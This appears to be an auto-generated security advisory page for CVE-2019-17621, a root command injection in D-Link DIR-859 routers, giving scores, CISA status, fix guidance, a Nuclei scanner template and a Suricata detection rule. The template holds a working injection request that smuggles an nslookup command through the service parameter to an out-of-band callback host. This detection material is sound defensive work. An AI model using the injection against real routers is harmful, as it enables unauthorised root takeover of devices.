VULNpocalypse

CVE-2019-17621: D-Link DIR-859 Router Command Execution Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root, by sending a specially crafted HTTP SUBSCRIBE request to the UPnP service when connecting to the local network.

Description quoted from the CVE record (assigned by mitre, published 2019-12-30).

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2023-06-29
US federal deadline
2023-07-20
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 6 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 12 references on Exploit Observer

Live scores

EPSS
0.906
very likely to be attacked soon
VEDAS
0.982
strong exploit evidence
On CISA KEV
Yes, since 2023-06-29
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2019-17621 EPSS over time2025-042026-11-08
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.5CVE-2019-17621 VEDAS over time2025-042026-11-08

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Not statedversions not stated in the recordNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

D-Link DIR-859 - Command Injection

The UPnP handler genacgi_main() behind /gena.cgi on the D-Link DIR-859 passes the service query parameter of a SUBSCRIBE request to a shell without sanitisation, letting an unauthenticated remote attacker execute arbitrary operating-system commands as root. This template injects a harmless out-of-band DNS lookup and confirms execution through the interaction.

Name and description quoted from the template, written by VEDAS.

The template confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2019-17621.yaml
Show the template (37 lines)
yaml
id: CVE-2019-17621

info:
  name: "D-Link DIR-859 - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The UPnP handler genacgi_main() behind /gena.cgi on the D-Link DIR-859 passes the service query parameter
    of a SUBSCRIBE request to a shell without sanitisation, letting an unauthenticated remote attacker execute
    arbitrary operating-system commands as root. This template injects a harmless out-of-band DNS lookup and
    confirms execution through the interaction.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2019-17621&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17621
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2019,dlink,dir859,router,upnp,rce,kev,vkev,vuln

http:
  - raw:
      - |
        SUBSCRIBE /gena.cgi?service=`nslookup${IFS}{{interactsh-url}}` HTTP/1.1
        Host: {{Hostname}}
        Callback: <http://127.0.0.1:9/vedas>
        NT: upnp:event
        Timeout: Second-1800
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2019-17621.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2019-17621 D-Link DIR-859 - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2019-17621 D-Link DIR-859 - Command Injection"; flow:established,to_server; http.method; content:"SUBSCRIBE"; http.uri; content:"/gena.cgi"; nocase; fast_pattern; content:"service="; nocase; classtype:web-application-attack; reference:cve,CVE-2019-17621; reference:url,https://www.exploit.observer/?keyword=CVE-2019-17621&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact; sid:1019568; rev:1;)

CVE-2019-17621.rules on GitHub

Advisories on this CVE

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

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